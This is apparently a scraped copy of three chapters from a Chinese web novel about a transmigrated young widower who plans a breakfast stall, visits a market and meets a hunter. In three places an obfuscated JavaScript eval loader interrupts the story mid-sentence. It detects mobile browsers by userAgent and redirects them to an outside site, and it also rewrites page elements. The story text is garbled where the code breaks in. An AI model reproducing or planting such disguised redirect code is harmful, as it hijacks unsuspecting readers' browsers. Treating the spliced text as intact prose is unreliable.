十月多胡康到汤家，压根不认什么赘婿身份，一通威逼利诱连着施压，要休了五哥儿，还说汤父要是乖觉等他上任总少不了汤家好处，不然就等着罢哼哼，你要知道自古民不与官斗。 汤父是个对外唯唯诺诺，大脾气都往女眷孩子身上发的窝囊废。 还真被胡康唬住了。 眼瞅改换汤家门第的美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之前汤家向外租了半院子，吃着老本，胡家年后来哭，蒋芸是个糊涂又心肠软的，想着人死都死了，死者为大，见胡家六十多岁老母带着孙子可怜给了胡家老母一些银钱。 结果给捅了烂摊子。 胡家得了钱，自此缠上来了。 汤显灵无语：这不是活该嘛，胡家欺负汤家到这个地步，汤家一个血性的都没有，胡家一见还不是逮着汤家吸血，反正也没什么坏处。 还什么死者为大，要他说，汤家掘了胡康坟墓，或是请吹拉弹唱班子敲敲打打找胡家泄愤都不为过，还给送钱？ 吃饱了撑的了。 可能因为汤显灵想五哥儿的事太过气愤，手下擀的面尤为的好，面薄厚适中，切成了条，灶台锅里水烧的滚沸，先调料碗舀出汤，将碗底料化开，汤清，若是下了面再舀汤，汤就浑了。 荣朝还没有辣椒，可惜了。 汤显灵念着可惜，手上将午后熬得猪肉油取了出来，碗底放了些猪油，酱油、葱花、盐，而后滚水化开汤，下面条、菘菜，面条煮熟了，筷子捞了捞，氤氲雾气中，面条犹如白玉似得，一筷子面条卧碗底，碧绿嫩嫩的菘菜。 葱花莹莹浮在碗中，热面热汤化开的油花飘出香味。 汤显灵吸了吸鼻子，迫不及待开动，想到什么，一抬头冲外头喊：“娘，吃饭！” 院子里踌躇的蒋芸，得了召唤，这次麻利进来，没什么推诿不饿不吃，让人三催四请等话，乖乖巧巧的端着饭碗去了。 夕阳落下，小小院子一方天地。 汤显灵抱着碗就待在院子里吃，挑了筷子面条送入嘴里，面条劲道充足的麦子味道，让他不禁弯了弯眉眼，真幸福啊。 东屋里。 蒋芸先喝了口汤，顿时惊了惊，五哥儿做的面怎么如此好吃，味道真真不一样。 汤父喝了粥口中无味肚中还饿着，见蒋芸只顾着自己吃，不由骂了声，蒋芸放下碗呐呐：“你能吃面吗？不好消化。” 换来汤父瞪眼。 蒋芸不敢再说下去，只好挑了面条伺候丈夫吃饭。 汤父本来骂骂咧咧待面条入口怔愣住了，这面条劲道汤味清淡又香，要不是汤能尝出来是猪油味，汤父定以为五哥儿偷摸学了羊汤熬法。 猪油调的汤，竟然不比汤家羊汤滋味差。 汤父不知想什么，脸上神色歪歪曲曲，吃了几口就不吃了。 吃不下去了。 4. 第四章 第四章 汤显灵美美吃了一碗面条，他也没管汤父和蒋芸吃的如何，若是听见汤父推开碗不吃了，只会丢下一句：爱吃不吃，惯的！ 他又不是五哥儿，对着汤父没什么父子亲情。 待吃完了汤面，汤显灵去收拾灶屋。蒋芸端着托盘从东屋出来，粥碗药碗面碗都空了，蒋芸说她来收拾，汤显灵想了下，便答应，说：“水缸快没水了，阿娘，我去打水。” 蒋芸看着五哥儿拎着水桶出去的背影，神色很是复杂，眼眶也红了起来，是她护不住孩子，心头酸楚涌上来，落着眼泪，哭了一会。 槐花巷有一口水井，巷中靠着正街的这排人家院子要贵价一些，因为有门脸能做买卖营生，后面巷子就便宜些，但因有口水井，不用买水吃，巷子两面院子比坊间其他巷子还是要贵些。 以前汤家吃水，从小院门走近。 年后没多久，二月时汤父病重起不来身，租户那家人寻到了蒋芸，跟蒋芸说：我家人多孩子多，吵闹的厉害，怕扰了汤老板养病，不如院子一半扎上一堵墙，咱们两家也清静些。 嫂子你尽管放心，这扎墙的活计都我来干，不用嫂子你们出什么。 蒋芸没主意，全由了租户干。 自此汤家吃水就不能从小院子门走了，得从铺子门脸出去，绕上一圈。汤显灵拎着水桶，想着汤家有关的事，五哥儿弥留之际身体留了一些记忆，都是五哥儿印象深刻或者让五哥儿悔恨不甘的记忆，其他的邻居、租户这些人、事，就没那么清楚了。 这些得汤显灵慢慢摸索。 他从街道上过去，一路上几家铺子邻里都瞧着他看，很少有给他搭话的，顶多说句：“五哥儿打水去啊。” 汤显灵嗯了声，再点点头。 话不多，五哥儿话也不多。汤显灵想。 背后邻里对着他背影唏嘘，隐约能听见：可怜呀、五哥儿瘦伶伶老汤也倒了、汤家铺子还开吗？、老汤都那样了，还怎么起来熬羊汤？你说那新来的租户真的是，把门堵了不让主家过，这五哥儿吃水天天绕着路跑。 “也不怪人家新来的，新来的说了，租的院子给的价这个。”邻里比了个手势。 包子铺老板娘惊大了双眼：“四十五两银子？！”那可真贵价了。 “三年的租钱。” “我就说，那这也不算多，不过一口气拿了四十五两租老汤家院子，怕是老汤想给芸娘五哥儿留些底儿。” 租户长住给钱多，邻居也没人觉得扎一堵墙不让主家从小院门通过打水刻薄了。 …… 汤显灵还不知道汤家的底儿，邻里街坊都知道了。他到了井口那儿，有人在打水他就排队等一会。 巷子叫大槐树巷，盖因水井旁边有一颗大槐树，长得是粗壮高大，他们这边巷子道也不是很窄，能有个三四米宽，小孩子绕着槐树跑来跑去玩。 汤显灵在末世时，见多了吃人的树，对着这种高大的树木下意识很戒备，待看小孩跑来跑去也没被树枝卷走，他便抬头仔细看着这棵大树。 傍晚，太阳还没全落下去，天空还有些红光的亮。 槐树枝叶繁茂，嫩绿的绿芽中还结出了莹白的小花。 “槐花好像能吃吧？”汤显灵对花吟唱食谱，他记得大学有个同学家里北方农村的，说家里老人最爱吃槐花麦饭了。 有个婶子听见了，搭话笑说：“五哥儿可是想吃槐花麦饭了？再等几日，回头我家打了槐花给你送一些。” 汤显灵收回目光看婶子，也没想起来是哪位，囫囵点头说好，“谢谢婶子，我先去打水了。” “欸去吧。” 汤显灵打完水往回走，想着：奉元城也有吃槐花麦饭的习俗，是不是跟现代北方舍友家差不多地理位置。 今日大姐夫卖粮也是卖小麦，不过家里也吃米。 羊汤馎饦他有记忆，馎饦就是汤面片，汤家做的买卖就是羊汤煮面片，本地最典型的吃食之一，家家户户寻常饭都是这个，不过汤父能卖馎饦置办出家业院子，想必羊汤熬得好。 汤显灵一桶水接着一桶水打，他倒是蛮喜欢去打水，不用待在汤家小院里面对蒋芸的目光，打水时一个人能理一理头绪，五哥儿本身就是个话不多的性子，外加一段‘婚姻’磋磨的更寡言少语，他闷头干活，邻居见了也不觉得他变了个人。 还挺自在。 最后一桶水天已经有些黑，街上铺子已经关的七七八八了，汤显灵往回走，还有邻里叫他：“早些回去吧。”、“五哥儿暮食可用了？” “吃过了，家中今天吃得早。”汤显灵脑子想了下才对上：暮食就是晚饭。可能因为古代蜡烛贵，大家都是赶在傍晚之前吃饭，因此叫暮食。 回到了小院，汤显灵关门。 灶屋蒋芸烧了热水，忐忑守在灶屋门前，见五哥儿回来了，迎上前说：“我烧了热水，你快洗洗早些睡，今个辛苦你了。” 汤显灵对蒋芸示好有些沉默，但凭借月色看到蒋芸眼底的几分讨好，想到五哥儿遗留心愿，心里不由叹气，算了，便说：“知道了娘，你也洗了早早睡。” “诶好好。”蒋芸一下子松了口气笑了起来。 锅灶里留有热水，汤显灵洗了手脸还有脚，刷了牙，看着牙粉牙具，他脸上笑容真切，觉得时下除了没辣椒，哪哪都好。 末世三年，现代世界的便捷都快让他忘了。 现在汤显灵适应起来很快。 夜里躺在床上，屋子小了些，阴沉还有些味道，因挨着灶屋，这屋子原先放了些柴火炭火杂物等，是个工具间。 汤显灵也没嫌弃，这环境比末世好太多太多了，他又想到汤家，想五哥儿，黑暗中低低念了几句五哥儿名字，回应他的只有寂静。 五哥儿真没了。 汤显灵不是不怕死，他再活一次很惜命，但人有所为有所不为，下午跟汤家父母掰扯明白，说五哥儿死了，说出了嘴，不仅是冲动，也是思考过的，他要是不替五哥儿打抱不平说那一通话，那五哥儿就太委屈了。 死了都没人知道。 汤父蒋芸会觉得五哥儿还活着好好地，汤父做的一切决定还能怪罪在五哥儿头上，说起来就是五哥儿什么事都没有，怎么就害你了？ 汤显灵做不到的。 总得说出来，至于汤父蒋芸信不信，汤显灵想：就算夫妻俩逃避不信这等怪异的事，以后跟他相处久了肯定也会发现端倪。 他可不是面团子捏的！ 至于发现后能怎么办——这是之后的事，以后再说。 汤显灵不为几日后的事情担忧，在末世有今天没明天，操不了这么久远的心，不内耗，于是翻身扯着被子盖好，心想：明日大太阳要晒晒被褥，以及早饭吃什么？ 一想到吃，汤显灵就嘿嘿笑，高高兴兴睡着了。 东屋蒋芸睡不着，她翻来覆去面容愁苦不知想什么，要不是汤父时好时坏大部分都晕睡过去，搁以往，蒋芸这样动静，汤父要骂蒋芸。 翌日大早。 汤显灵先起来，伸了懒腰，昨日打水打的多，水缸是满的，他先舀了冷水到脸盆里，皂角搓了搓脸，牙粉刷牙，待做完一切，东屋响起汤父咳嗽声还有骂人声。 汤显灵：…… 泼了水，汤显灵擦干净手上水往东屋去，站在门口也没进去，他瘦弱身体挡了一大半光线，屋里汤父蒋芸看不清五哥儿神色，但下意识安静了。 “爹、娘，早上吃什么？” “要不给我些钱，我去街上买些朝食吃。”汤显灵想出门溜达一圈。他要钱要的理直气壮，跟以前害怕汤父，开口说话声小胆怯的五哥儿截然相反。 床上汤父一听，开始骂了起来。 这些话伤不了汤显灵半分，汤显灵往里走，手都快伸到汤父脸上，说：“爹，你药快没了，我正巧上街卖药材，还有家里米缸没米了——” 汤父撑着身子起来作势要打汤显灵，蒋芸给拦住了，哀求说：“你小心身子，五哥儿在家吃些罢了，没甚钱了。” “我爹吃药的钱都没了？！”汤显灵一个面上吃惊，“爹，您病的这么重，没钱吃药，以后身子可怎么办，要是耽误了，咱家铺子还开不开了。” 要不是不会哭坟唱腔，汤显灵都想替汤父先哭一个。 汤父气得又咳，是喘着粗气，看着难受，蒋芸一直给丈夫顺胸口。汤显灵一看，认真了些神色说：“你给我钱，我想把铺子开了——” 汤父一听这孽子动他铺子主意，顿时扒拉开蒋芸，真急了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318099|167339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你别气，铺子两间，我只用一间卖卖朝食，家里花销嚼头，你捏着大头不放心给我和阿娘，我昨日去打水，听邻里说起咱家院子租客，你图人家给了三年房租出手大方，却不知道人家惦记的是什么。”汤显灵胡说八道给汤父一通暗示。 意思人家惦记你的铺子门脸。 同时一边给汤父画汤父最爱的大饼吃。 “昨日我做饭滋味如何你们尝过了，不如收拾出个门脸做朝食，起码能赚点嚼头，没准以后买卖好了，一家变两家两家变四家。” 汤父看不起冷哼了声，“就你一个哥儿能干个什么买卖。” 汤显灵：……遗憾，不能真揍死汤父了。 不给钱拉倒，家里门脸铺子还有些桌椅凳子之类的不行卖出去？ “五哥儿你先出去，出去转转。”蒋芸打圆场。 汤显灵揣着一肚子‘败家子经’去了灶屋，身上没银钱，自己做吧，他看了一圈，没米只有面，大早上的又不想吃汤面，想着烙几张饼算了，还没卷袖子动手，蒋芸来找他。 “五哥儿，钱给你，你省着些花。”蒋芸手里攥着帕子，塞在五哥儿手里。 汤显灵揣着有些沉，打开一看，几十个铜板，显然是蒋芸攒的私房钱——汤父是个抠门一言堂，家里钱财都捏着，平时手紧，蒋芸存私房钱那都是很难的。 能将私房钱都给他。汤显灵心里一下子也难受起来。 蒋芸红着眼期期艾艾说：“阿娘对不住你，你昨个说得对，我窝窝囊囊护不住你，你还年轻，胡家那老妇哭哭嚷嚷败坏了你的名声，你以后还怎么嫁出去……” 汤显灵和蒋芸观念不在一个频道上，但听懂了。 蒋芸传统妇人，受着丈夫管辖了一辈子，思想里就是依靠男人才能过日子，五哥儿守寡人还年轻，才二十出头，以后总得再找，胡家老妇来胡闹纠葛，说起来，蒋芸是为了五哥儿名声着想，才让人捏了软肋。 惹了这个摊子后，蒋芸更畏畏缩缩不敢再拿捏主意了，唯恐害了孩子。 “其实五哥儿没怪过你。”是他愤愤不平。 罢了。 “阿娘，我去街上买些东西，朝食我带回来，不会乱花钱的。” “诶好，你去吧，家里有我，你爹就是嘴上嚷嚷声量大，其实他也不容易……” 汤显灵不想听蒋芸和稀泥替汤父说好话，塞好了钱往出走。 人就是这般复杂，五哥儿深刻记忆还残留在身体中，汤显灵能记得五哥儿年幼时，汤父刻薄动辄对五哥儿打骂，家中大姐护着疼爱五哥儿，二姐三姐也会偷偷给五哥儿买吃的，蒋芸一边给五哥儿揉药油，抱着五哥儿轻声哄着…… 所以五哥儿临死前还担心家里人，怨自己没能力，护不了阿娘，担不起汤父期许—— 汤显灵走路一顿，确认了下，不由蹙起眉头来，自言自语：哥儿和男人长得一模一样也不缺什么啊。 不懂这个朝代，但他懂一些美食。 街坊铺子飘出的香味勾的汤显灵将哥儿问题抛诸脑后。这条街是坊间正街，奉元城是‘坊’拼出来的，坊里又是居民住宅巷子，每个坊有正街铺子，平时坊间居民都能在此买点日常用品吃食。 什么炸捻子、糖油饼、馒头、鸡汤馄饨等店，也有卖醋、酱、糖、布等小铺子。 这都是小店，真正的大市场是东西两市，专门做买卖的，两市货物齐全，什么稀奇古怪的都有，还有高高的二层酒肆食肆——就是酒楼饭点大客栈。 只有这两处才有。 槐花巷位于八兴坊，在西边，距离西市比较近。汤显灵先在隔壁买了个四个包子，两荤两素，时下包子多喊馒头，因为不是捏的包子褶，一团子外观长得像馒头。 叫肉馒头、菜馒头，馒头就是纯面馒头。 菜包子三文钱两个，肉包子两文钱一个，馒头一文一个。汤显灵咬了一口肉包子，是羊肉馅的，不至于出现一口下去还是馒头不见馅的程度，但肉是混着萝卜，不是纯肉的，吃起只是沾带着些荤味。 汤显灵先将包子送回去，塞到蒋芸手里，“阿娘你吃早饭，我去西市逛逛，晌午午饭前定能回来。” 他得去西市瞅瞅，不然留在家里听汤父骂他吗？ 才不干呢。 5. 第五章 第五章 从八兴坊出去到了主街道，主街道宽大气派，约有两三丈宽，路边是没有门脸铺子经营买卖，连着摆摊的都无，只有各色车辆，马车牛车骡车，或是百姓推着的独轮车、两轮车送货，也有穿着质朴的村民挑着胆子、背着背篓行色匆匆赶路。 要么是去熟悉的坊间摆摊叫卖，要么就是去东西两市，大多数都是前者。 去东西两市卖货，凡是占了路边地方都要收五个铜板，坊间街道只收三个，奉元城外的村民要是挑着筐进城卖自家的货物，多是去坊间划算些。 往西市去的路，汤显灵有记忆，可能在过去二十年日子里，去西市给家里跑腿买东西对五哥儿同姐姐们来说都是像玩一般。 从宽大的主路走半个多小时到西市，往东市去就远了。 要是累人，其实还可以坐‘出租车’。汤显灵看着路上不时来往藏青色油帐棚顶的骡车，骡车前挂了红色布条坠着大铃铛，这就是时下的‘出租车’了。 招手即停，而后跟车夫商讨价钱，这等车一般都是往各坊主路口送，不进坊里，车资不贵，三四文钱，看远近是否带了货物定。 汤显灵揣着蒋芸给的几十个铜板没舍得花钱，他靠十一路自己送自己去西市，一路上很新奇，看什么都有意思，春日暖暖的阳光晒在身上别提多舒服了。 还没走到，不远处正街已经人声鼎沸人多了起来。 汤显灵脚步加快，到了西市入口，进去街道跟各坊正街差不多宽，但里面都是铺子，叫卖的吆喝的挑着货的络绎不绝的热闹。 西市由好几条街道组成，都是干营生的买卖。 汤显灵一路往进走，他来得早，食肆铺子还在卖朝食，都是香味，浓郁厚重的肉香，还有芝麻饼才出炉的香气，这边铺子门脸很大，最小的就是汤家汤父自豪的大两间铺子那般大小。 还有二层楼的酒肆、连带着后院住宅的大客栈。 什么胭脂水粉绫罗绸缎首饰铺子，还有一些‘西洋’花样摆件，汤显灵看的一愣一愣的，要是他没看错，那多宝阁架子上的摆设是个手持弓箭的小天使？ “小夫郎瞧着那摆件可是想看看？”铺子里伙计和善笑着搭话，二话没说先取下了摆件递过去，嘴上说：“您可真是好眼光，这件是文定二十年外出船队回来时捎带的花样仿品，说是这娃娃是外头小国的小神，专保佑姻缘的。” 汤显灵：…… 爱神丘比特么，他认识。 不由眉眼一动，跟着店铺伙计笑说：“那外国的神，能管这般远，还要漂洋过海的保佑咱们荣朝姻缘？” 伙计愣了一瞬很快笑起来，“小夫郎说话逗趣，这我可不知道了。” “娃娃是可爱，可惜我没钱，不然买回去我试试，若是灵验了再来你家送个锦旗宣传宣传。”汤显灵笑眯眯说。 大早上铺子里没什么客人，伙计跟小夫郎说话，旁边掌柜的也听见了，本来在捋货，闻言倒是笑出了声，伙计也笑了起来，口舌甜蜜说：“那敢情好，小的就在这儿等着您发达了来买。” 汤显灵笑呵呵：“好说好说。” 言语聊了起来，汤显灵说起文定二十年外出船商——他刚听伙计顺带说了句，主要是想打听这个，跟人一言一语闲聊，总比干巴巴问。 好似这船队在荣朝是个大事。 聊起来，待店里进了客人，汤显灵便不打搅店家，笑眯眯告辞了，伙计送客笑脸相迎：“您慢走啊。” 汤显灵出了铺子，心想这家店铺不管是伙计还是掌柜都是热情客气模样，半分没有因他没钱不买看轻他——他刚进去，多看了眼摆件，伙计便拿了下来让他仔细瞧。 因为店家热情，汤显灵才跟人家聊了会。 二十年出海商队回来，带了些外头国家的特产，什么金银财宝、各小国贵族用品物件、画作等，最最主要，切合民生的就是种子。 土豆和花生。 距今八年，奉元城百姓们日常饭桌上都添了些土豆花生美食。 三年前，商队又出海了，这次听说队伍更壮大。 汤显灵一个激动：“梦一个，我有生之年还能吃到辣椒！” 越想是越有盼头了。 汤显灵什么都不买，在西市走走逛逛，对物价心里有数，荣朝上层官家还是很重民生，粮食价钱稳定的便宜，盐也不甚贵，人力也便宜，满足了基础温饱外，要是想追求漂亮、好吃，还有享受服务，那就贵了。 比如人力送货：两轮车一车货卸货搬货运货，一趟赚个五六文。 剃头修胡子掏耳朵的略贵些。 药馆巫医看诊问诊，那都是半钱银子起，打底都是五十文。 难怪汤父病倒在床几个月，家里愁云满布，在城里吃喝嚼头花钱，还有夜香、泔水、垃圾等专门有人收这个，你得付费，更别提汤家做吃食买卖，得交税。 全都是钱。 今年商税汤父交过了，但铺子不开张，这都四月了，家里半个子都没进项，只有开销，蒋芸发愁明年可怎么办，神色越发苦了。 汤显灵逛了一通，心里有了些盘算，见天色不早就往回走，回去做饭还有准备食材，家里铺子肯定得用起来，闲着不生钱，昨个他看了眼，铺子熬羊汤有炉子、铁锅灶头，还有些桌椅板凳。 他打算将炉子收拾一通，卖早点，家里就他和蒋芸，汤父瘫痪在床，醒来就骂骂咧咧要这个那个，蒋芸得照看，最主要是他手里本钱没几个。 不能铺太大了。 刚路上他数过，蒋芸给了他四十三个铜板。 ——还得问汤父要钱。汤显灵刚起了个念头，一想到汤父那等给你几个钱还骂骂咧咧的架势，顿时歇了火，算了先卖一天赚几个再买材料，一点点赚吧。 快到坊口，有个十三四的少年背着大背篓，神色乖顺带着几分怯懦跟坊吏说：“我在等人，等、等我大哥，我不在这儿卖货，官家老爷。” “你小子知晓就好，不许在坊间胡乱占路摆摊，要去摆摊处还得给钱。” “没有没有，老爷们我不敢。” 坊吏吓唬完，见对方知道好歹便点点头，三两人继续巡逻了。 汤显灵跟着坊吏错开过，见那少年背后背着沉甸甸一筐绿油油的菜，不由出声问：“这什么菜？” “地里长得野菜，荠荠菜窝窝菜。” 少年答完，肩膀瑟缩了下，看向坊吏背影。汤显灵一见，明白过来，当即说：“我不在这儿买，你价钱要是好，出了坊口再交易。” 这样就省了‘地摊钱’。 少年一喜，本来想报价钱，到底是老实害怕坊吏，只是眼睛亮晶晶看向客人。汤显灵一笑，“出去说吧。你等你大哥？你大哥还有多久功夫？这个总能说吧。” “也不是我大哥，我们村里的猎户，我刚害怕胡说的。”少年见坊吏走远看不清背影，胆子大了许多，说：“我不知道多久，估摸要一会，他去食肆送货了。” 汤显灵跟少年等了会，闲聊间知道少年村子还挺远，走到奉元城要大半日功夫，是天不亮就上路，一人走害怕，提前问了猎户得知猎户要进城，跟着搭伴壮胆。 他问少年，少年什么都说，底子能掏个干净，家里几口人，姓甚名谁，几亩田，家里收成等等，但是一说起猎户大哥，狗娃就是这少年郎便神色紧张带着害怕来，嘴巴紧紧地什么都不敢说。 汤显灵一想明白过来，肯定不是猎户欺负狗娃，估摸是猎户凶神恶煞看上去脾气不好，狗娃害怕，但猎户能答应狗娃搭伴过来，还叫狗娃待在这个等他出来再卖野菜，可见猎户也是个面凶心肠好的。 不然真冷漠凶狠，还管同村娃儿安全了？ 狗娃说了一通家里，怕客人等久了不买他的菜，说的是嘴巴干嗓子干，等了许久，已经没话说了，四处张望待看到来人面上一喜，顾不上害怕，大喊：“铁牛哥！” “客人，铁牛哥来了。” 汤显灵答应蒋芸晌午前到家做饭，现在时间有些不早了，正想他傻了不成，可以先跟狗娃去坊口做了交易，就听狗娃喊铁牛哥，他下意识跟着狗娃喊的方向看过去。 快晌午，西市，人来人往、人声鼎沸，来来往往那么多人。 汤显灵却一眼看到了铁牛，对方意外的年轻，也没有长得‘凶神恶煞’，相反很是俊朗。 据他目测，此铁牛一米八五到一米八八的身高，面相很年轻，才十七八岁模样，头发全梳起来，露出光洁饱满的额头，剑眉星目鼻梁挺直，穿着农家粗布衣裳，肩膀到腰腹还有一块皮子横叉到腰间，估摸早起太冷，这般穿搭，透着几分野性来。 皮肤不是很白，穿梭密林山间田野晒的，有些小麦色。衣裳是交领口，此时领口略敞开露出脖颈、锁骨…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318100|167339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单薄有力的肩膀，细窄的腰腹，背上背着背篓。 长得生机勃勃，却一股沉稳气质。 汤显灵：……好俊的小哥。 他看对方，对方也看他，目光在空中相遇。 汤显灵不知为何想到了早上来西市逛的那家丘比特摆件来，他想到此，脸上有点热，呸呸呸，他怎么见色心动犯了花痴一般。 “铁牛哥，你等等我，这位客人——”狗娃急忙做介绍。 汤显灵收回目光，心里默念他爱美食是个正经人可不是流氓，便正正经经说：“我叫汤显灵，想问狗娃买些野菜，不在西市交易。” “对对，铁牛哥，你等我一会。”狗娃说完，又高兴起来，“我全卖了，今个定能回村也不用在外头过夜或是夜里赶路。” 猎户点了点头，说：“那走吧。” 出了西市，汤显灵跟着狗娃谈价钱，狗娃的背篓装的多，但野菜本来不贵，外加狗娃觉得他等了许久，还省了摆摊费用，要价也很实诚，比市场价低了三文钱。 这么一大筐野菜要三十文钱。 汤显灵果断，给钱给的痛快。 “我家住在八兴坊，离城门正好顺路，我先送菜回去给你腾了背篓，劳你们俩在坊口等一等。”汤显灵说。 狗娃乐颠颠数钱，点着脑袋都依客人。 汤显灵笑笑，一手拎筐顿时笑容僵在脸上，他、竟然、拎、不起来！！！ 不信邪，再拎。 狗娃才十三都能轻轻松松背着藤筐走半晌路，他二十一了不信连个孩子都不如！ 汤显灵咬牙，使劲——筐一松，起来了，汤显灵顺着筐上那只大手看过去，那只手是猎户铁牛的手，大，修长，有力，有些粗糙但不掩本质，很是好看。 “我来。” 汤显灵顿时笑起来，退后了一步，也不较劲不信邪了，说：“那多谢了，铁牛兄弟力气真大。” 嘿嘿，他好像调戏人。 想到什么。 汤显灵正色了下，“你可是结婚娶媳妇了？” 现在人结婚可早了，要是有了媳妇，那就不能嘴上调戏人了。 狗娃将钱收好，高高兴兴说：“还没呢。” 铁牛看了眼狗娃，狗娃忙闭嘴，他刚拿了钱太高兴忘了铁牛哥厉害了，顿时巴巴乖巧跟在后头不敢多话。 汤显灵：嘿嘿嘿。 “正好，我亡夫正守寡——”汤显灵见铁牛停下脚步看他，不由摆摆手说：“那是个坏东西，死了正好，我巴不得放串鞭炮炸炸响去去晦气，可惜最近没钱买炮仗，要是有钱了，我再拾掇一桌席面，风风光光昭告一下汤五哥儿死了丈夫。” 狗娃在后头听得睁大了眼，从没见过这样的夫郎，男人死了欢天喜地，他偷偷看了眼汤夫郎，什么话由汤夫郎嘴里说出来都有意思，半点都不惹人厌。 来时一人汤显灵走的无聊，回去时明明也没人说话，都是他跟个单口相声似得说了一会，却不知不觉尤为快，到了八兴坊口，一路沉默的铁牛同学终于开了口，问他家在哪给他送到家。 “那可太谢谢你了，我一看就知道铁牛兄弟面冷心热是个大大的好人。”汤显灵笑眯眯带路。 铁牛同学哞哞好。 到了汤家铺子前，汤显灵敲门，没一会蒋芸来开门，见他买了这么多野菜，本来想说他些什么，但见有外人在便没开口。 “走了一路，进来喝杯水，谢谢你们。”汤显灵招呼二人坐铺子中。 蒋芸才道：“我去拿水。” 汤显灵嘴巴花花了一路，到家腾出野菜，那一大筐野菜狗娃说要四十斤，倒在地上，只多不少，跟个小山堆似得，现在看狗娃还压的实在，难怪刚才他乍一拎没拎起来。 野菜收拾的很好，没有泥土。 “我还要这些野菜，不着急，隔个五六日时间，你要是还有往城里送，都送我家，按今天的价钱算。” 二人喝了水，道了谢，狗娃背着背篓高高兴兴说六天后他再来。 汤显灵送客到门口，铁牛同学站在那儿有一会，突然转身说：“我姓皇甫——” “皇甫铁牛？！”汤显灵一个震惊，脸上没忍住都是笑容，又收回牙，一本正经夸赞：“还蛮好听蛮特别的。” 皇甫臣本来的话咽了回去。 汤夫郎觉得皇甫铁牛名字逗趣。 6. 第六章 第六章 “怎么买这么些野菜。”蒋芸站在一旁问。 汤显灵看过去，蒋芸脸上有些心疼，觉得他买的多怕吃不完浪费，倒是没一股脑直接责问他花钱大手大脚。 刚才在外人跟前还给他留了面子。 不像汤父，若是换做汤父，汤父才不管什么场合有没有人，骂五哥儿那是不分场合的，骂完了还得给顾客赔笑说：我家五哥儿就是蠢笨，干活都干不明白。 “娘，我想做梅干菜猪肉馅锅盔。”汤显灵见蒋芸还是一脸‘这也太多了’，怕是蒋芸也没把他要做朝食买卖听进去，解释说：“做朝食买卖。咱们自家吃肯定用不了这么多，要是做买卖的话，四十多斤野菜，估摸是能卖些天了。” 手里没大钱，只能选一些本小的先做起来。 梅干菜用菜最好用雪菜做，如今不是雪菜下来的时候，其他菜的话选择水分少的菜，像是荠荠菜和窝窝菜，汤显灵看的时候摸过正合适，最最主要是：野菜便宜。 现在春日里，外头田地荒地野菜生长很茂盛，坊间也有摆摊卖野菜的，一文钱一斤多，他挑狗娃这一筐下来，省了近十文。自然了，野菜不好往出卖也是一回事，狗娃挑的这两款野菜算是好的了。 “什么梅干菜？你怎知做法的？”蒋芸没听过这个忙问。 汤显灵看过去，蒋芸对上五哥儿眉眼，一下子心里发慌，五哥儿眼神不像从前了，她想到昨日五哥儿说的话，不敢再探听下去，还害怕五哥儿嘴里又说胡话。 “……就当我做梦梦到怎么做吧。”汤显灵见蒋芸如此逃避，岔开话题说起做法：“南方多吃这个。” 其实他也不清楚时下南方有没有梅干菜。 他刚才在西市逛街，纯逛不卖且话多，跟哪家铺子伙计都能闲聊两句，或是多听多看。 大荣朝都城叫渌京，由奉元城往南下走个两日，到了底下府县可以换水路，水路方便直通渌水大河，乘船五日便到了渌京。 从名字能看出来，大荣朝首都在南方且水系多。 整个西市没见吃梅干菜的，卖饼的话什么芝麻饼油酥饼鹿肉羊肉馅多些，要说坊间正街铺子相当于现代便利店、小卖铺、街边小饭馆，那西市里就是奢侈品店、大酒楼、大超市、大酒店了。 同样的肉馒头，西市四五文钱一个，纯肉馅，有的更甚六文钱，那是大虾馅，价贵。滋味上，汤显灵没吃，但是香味比隔壁家馒头店香。 至于吃猪肉也有，比较少见一些。 听说十多年前，荣朝百姓养猪还不会劁猪，猪都是骚猪肉，达官贵族觉得猪肉低贱、肮脏，碰都不碰，那会猪都是平头百姓吃一吃，猪肉很便宜，三四文钱就能买一斤。 有钱人多吃鹿肉、牛肉，奉元城这边则是多吃羊肉。 后来不知怎么的，好像有位官老爷推行了劁猪，流行开来后，猪肉不骚不腥了，但是老一辈观念深入人心，到了如今，猪肉价还是不贵，六文钱一斤。 做小本买卖，那最好是本越少越好了。 梅干菜猪肉糜，外加面粉，自然还要买些香料调酱汁，炭火、炉子现成有，如此算下来，这个买卖能做，适合试试水。 “娘，我先把菜晒上，早饭素馅馒头三文，荤的花了四文，还买了俩馒头，这就九文钱，你给了我四十三文，野菜三十，只剩下四个铜板了。”汤显灵算完账眉头一皱，不过没再说。 蒋芸：“你要是忙，先晒菜，馒头还有，我热一热晌午吃了就好。” “行啊。”汤显灵一口答应，也没工夫在做饭，“暮食我来做。”到时候吃早点。 奉元城平头百姓一日三餐都吃，不过晌午这一顿一般都是凑合凑合，热点早上剩的饼馒头之类，多重视暮食那一顿。 因此东西两市酒楼到了下午时生意尤为好。 “那阿娘，午饭就交给你了，我去收拾菜。” 